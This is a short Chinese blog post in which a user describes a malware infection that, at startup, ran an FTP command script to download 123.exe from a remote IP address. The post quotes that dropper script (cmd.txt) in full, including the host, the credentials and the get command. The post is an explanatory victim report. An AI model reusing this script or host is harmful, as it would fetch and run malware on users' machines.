今天竟然中了一种特殊病毒,开机自动执行cmd执行远端ftp下载病毒命令
发布:站生 | 发布时间: 2011年5月11日开机的时候突然发现弹出了一个窗口,打开ftp命令,ftp地址是117.43.143.185,然后执行二进制下载命令,文件为123.exe,不到十几秒便下完了,然后下载完后360提示病毒,我直接让删除了,于是看开机启动项,发现多了shell命令这个启动项。于是打开C:\Documents and Settings\Administrator文件夹,找到了cmd.txt这个文件,其内容如下:
open 117.43.143.185
123
123
binary
get 123.exe
bye
懂ftp命令的就能看出来是什么意思,现在的人真会想法啊,感染电脑弄到这种地步,却没想到被杀毒软件轻易识别。
发布:站生 | 分类:上网帮助 | 评论:1 | 引用:0 | 浏览:
| TrackBack引用地址
- 相关文章:
LinkMedia病毒_AUTO CAD2007破解版生成的广告软件LinkMedia病毒的删除方法 (2010-5-16 15:16:1)
发表评论
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。